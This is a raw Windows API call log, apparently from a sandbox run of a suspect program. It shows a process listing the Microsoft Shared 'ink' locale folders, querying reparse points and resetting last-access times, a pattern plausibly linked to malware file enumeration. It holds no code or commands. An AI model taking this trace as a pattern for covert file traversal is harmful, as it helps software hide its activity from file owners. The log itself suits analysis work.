GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0050.914] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0050.914] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0050.914] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf958e8 [0050.914] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf958e8, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xf958e8, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0050.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf958e8) returned 1 [0050.914] NtClose (Handle=0x184) returned 0x0 [0050.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0050.915] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0050.915] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0050.915] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0050.915] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0050.915] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.915] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0050.915] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0050.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0050.915] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0050.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0050.915] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0050.915] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ea78 [0050.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0050.915] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf91130 [0050.915] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf94fb0 [0050.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0050.915] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0050.915] GetLastError () returned 0x12 [0050.915] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0050.915] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0050.915] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.915] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0050.915] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0050.916] GetLastError () returned 0x12 [0050.916] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0050.916] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0050.916] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8ea78) returned 1 [0050.916] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0050.916] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e22d6e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x69e22d6e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x3188e7b0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0050.916] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x472c5956, ftCreationTime.dwHighDateTime=0x1ca040e, ftLastAccessTime.dwLowDateTime=0xa4945a00, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x9fcc4285, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0050.916] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa12394d3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa12394d3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa125f634, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x179c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe", cAlternateFileName="")) returned 1 [0050.916] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ad46e47, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5ad46e47, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x344e2230, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x609c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mraut.dll", cAlternateFileName="")) returned 1 [0050.916] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66c00201, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x66c00201, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x34eb4c90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1 [0050.916] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901e133e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x901e133e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x353c2bb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x105a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1 [0050.916] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0050.916] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0050.916] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0050.916] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0050.916] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0050.916] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf958e8 [0050.916] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf958e8, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xf958e8, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0050.916] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf958e8) returned 1 [0050.917] NtClose (Handle=0x190) returned 0x0 [0050.917] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0050.917] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0050.917] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0050.917] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0050.917] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0050.917] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.917] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0050.917] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0050.917] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0050.917] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0050.917] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0050.917] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0050.917] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ea78 [0050.917] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0050.917] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95900 [0050.917] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf950b8 [0050.917] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0050.917] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0050.917] GetLastError () returned 0x12 [0050.917] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0050.917] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0050.917] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.917] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0050.917] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0050.917] GetLastError () returned 0x12 [0050.918] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0050.918] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0050.918] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8ea78) returned 1 [0050.918] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0050.918] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0050.918] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0050.918] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0050.918] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0050.918] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0050.918] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf960e8 [0050.918] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf960e8, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xf960e8, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0050.918] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf960e8) returned 1 [0050.918] NtClose (Handle=0x184) returned 0x0 [0050.918] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0050.918] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0050.918] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0050.918] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0050.919] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0050.919] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.919] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0050.919] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0050.919] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0050.919] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0050.919] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0050.919] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0050.919] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ea78 [0050.919] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0050.919] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95920 [0050.919] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf951c0 [0050.919] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0050.919] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0050.919] GetLastError () returned 0x12 [0050.919] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0050.919] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0050.919] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.919] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0050.919] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0050.919] 